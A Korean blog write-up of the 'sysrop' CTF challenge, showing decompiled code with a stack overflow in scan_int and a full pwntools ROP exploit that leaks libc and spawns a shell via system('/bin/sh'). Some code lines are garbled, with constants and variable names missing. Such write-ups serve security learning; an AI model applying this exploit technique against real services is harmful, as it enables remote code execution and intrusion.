CTF's/Trustealth

[Trustealth] sysrop

ipwn 2018. 4. 17. 09:38

흠 지금 생각해보니 디미고 신입생 대상으로 한 CTF인데 10위권 안에 못들다니 ㅜㅜ 위에 사람들이 전부 외부인이라지만 못 풀만한 수준의 문제들이 있다는 것 자체가 내 수준이 심각하다는 걸 의미할 것 같다.


그래 암튼 라업이나 쓰자. 이 문제도 생각보다 쉽게 풀렸다.


int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
 
  start_init();
  while ( )
  {
    while ( )
    {
      menu(*(_QWORD *)&argc);
      v3 = scan_int();
      if ( v3 != )
        break;
      Free(*(_QWORD *)&argc);
    }
    if ( v3 > )
    {
      if ( v3 == )
      {
        View(*(_QWORD *)&argc);
      }
      else
      {
        if ( v3 == )
        {
          puts("Bye~");
          exit(1);
        }
LABEL_14:
        *(_QWORD *)&argc = "Oh...";
        puts("Oh...");
      }
    }
    else
    {
      if ( v3 != )
        goto LABEL_14;
      Allocate();
    }
  }
}



메임함수는 이렇게 생겼는데 사실 별로 볼 것도 없다.


그냥 scan_int 함수에서 rop가능하다.


int scan_int()
{
  char buf; // [rsp+0h] [rbp-A0h]
 
  read(0&buf, 0xFFuLL);
  return atoi(&buf);
}



보면 이렇게 돼 있는데, read함수가 있으니 bss에다가 /bin/sh넣어주고, puts나 printf도 있으니, libc leak도 가능할거고


그냥 해주면 되는데, 문제는 버퍼 공간에 입력받는 공간에 한 번에 익스 가능하게 payload를 넣어줄 수 없다는 것인데, 나 같은 경우는 payload로 적당히 /bin/sh를 넣는 순서, libc leak하는 순서, system 함수 call하는 순서등등 이렇게 나눠서, scan_int함수를 여러번 호출해줬다.


그럼 행위를 다 마친 뒤에도 buf에 값을 더 써서 다음 행위를 진행해줄 수 있으니까, 익스 가능하다.


from pwn import *
 
#p = remote('198.13.62.9', 5466)
= process('./sysrop')
= ELF('./sysrop')
init = 0x4008b3
prdi = 0x400d33
prdx = 0x40085a
prsi = 0x400d31 #prsi pr15 
read_p, read_g, puts_p = e.plt['read'], e.got['read'], e.plt['puts']
offset = 0xb1ec0
cmd = '/bin/sh\x00'
pay = ''
pay += 'A'*168
 
p.recv()
p.send(pay + p64(prdi) + p64(0+ p64(prsi) + p64(e.bss())*+ p64(prdx) + p64(len(cmd) + 2+ p64(read_p) + p64(init))
p.send(cmd)
p.send(pay + p64(prdi) + p64(read_g) + p64(puts_p) + p64(init))
= p.recvuntil('\n')
read_addr = u64(a[0:a.find('\n')] + '\x00\x00')
system = read_addr - offset
log.info('read addr : ' + str(hex(read_addr)))
log.info('system addr : ' + str(hex(system)))
p.sendline(pay + p64(prdi) + p64(e.bss()) + p64(system))
p.interactive()





근데 사실 Full RELRO도 못봐서 got 덮어놓고 왜 안되지 하면서 시간 엄청 날렸다. 난 바보다.